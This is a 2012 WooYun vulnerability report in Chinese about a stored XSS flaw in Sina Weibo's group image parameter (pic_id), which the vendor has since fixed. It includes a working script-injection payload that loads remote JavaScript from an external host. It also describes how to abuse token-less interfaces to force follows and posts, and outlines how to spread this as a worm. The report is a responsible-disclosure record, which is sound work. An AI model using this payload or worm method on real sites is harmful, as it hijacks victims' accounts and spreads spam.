漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2012-010143
漏洞标题：新浪微博某处存储型小松鼠+顺便提一提相关接口未加上TOKEN
相关厂商：新浪
漏洞作者： imlonghao
提交时间：2012-07-25 17:48
修复时间：2012-09-08 17:49
公开时间：2012-09-08 17:49
漏洞类型：xss跨站脚本攻击
危害等级：高
自评Rank：20
漏洞状态：厂商已经确认
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2012-07-25： 细节已通知厂商并且等待厂商处理中
2012-07-26： 厂商已经确认，细节仅向厂商公开
2012-08-05： 细节向核心白帽子及相关领域专家公开
2012-08-15： 细节向普通白帽子公开
2012-08-25： 细节向实习白帽子公开
2012-09-08： 细节向公众公开
简要描述：
小松鼠很可爱，它可以让你的粉丝剧增！
详细说明：
今天，给大家带来是新浪微群的XSS+发微博+关注
什么东西都准备好了，代码什么的都准备好了，主要就是用了演示一下过程
"/><script src=http://xsser.me/UZH56T></script><img high=0 weight=0
打开神器FID 随便找一个微群测试
随便上传一张图片
发送的同时截包
经过测试，其中的pic_id几乎什么参数都没有过滤，所以说XSS就从这里开始。
我们插入上面的代码
刷新
前面的是闭合前面的图片，后面的<img high=0 weight=0 是为了屏蔽那些暴漏的代码
我们可以看到，这里完全没有过滤，所以我的代码就轻松的插了进去。。。- -||
新浪微博由于有http-only，所以盗了COOKIES也是进不去那个帐号的，改COOKIES浏览会跳回登录页。
所以，今天就来发微博和+关注。
发微博本身是想用weibo.com这里面的接口
后来G大说不同域
所以就找q.weibo.com的接口
经过一轮筛选，我找到了这个接口。- -||
如果用下面的发微博同步的话，就会有未加入微群的限制，而这个，推荐就没什么限制。
感谢G大给的代码。。。。。
我为什么要说加关注和发微博呢，就是想提醒。
TOKEN很重要，加个token又不会怀孕 - -||
我们现在来测试一下。。。
下面坐等新关注。。。
好了，已经有了。
我们看到，关注了我，并且发了微博。。。
果断删掉。。。- -
蠕虫的话，只需要发微博，微博的地址带上这个连接就可以了。。
我觉得用编码一下会更好，。。。
假设这个地址还有XSS。。
JS转义。。
还可以加点别的东西
就这样，我想一个蠕虫就做好了。。。。
伟大的厂商，看在我录视频的份上，20RK吧。。
伟大的XSSER，看在我录视频的份上，劈死我把。。。。
END。。。
漏洞证明：
http://115.com/file/c26xc0w5
提取密码：wooyun
修复方案：
检查pic_id，如果有字母和数字以外的东西，通通报错。
相关接口加上TOKEN。。。。。
版权声明：转载请注明来源 imlonghao@乌云
漏洞回应
厂商回应：
危害等级：高
漏洞Rank：15
确认时间：2012-07-26 11:25
厂商回复：
感谢提供，已经修复。
最新状态：
暂无
漏洞评价：
评论
-
。
( 核心白帽子 | Rank:1020 漏洞数:76 | 人这一辈子总要动真格的爱上什么人)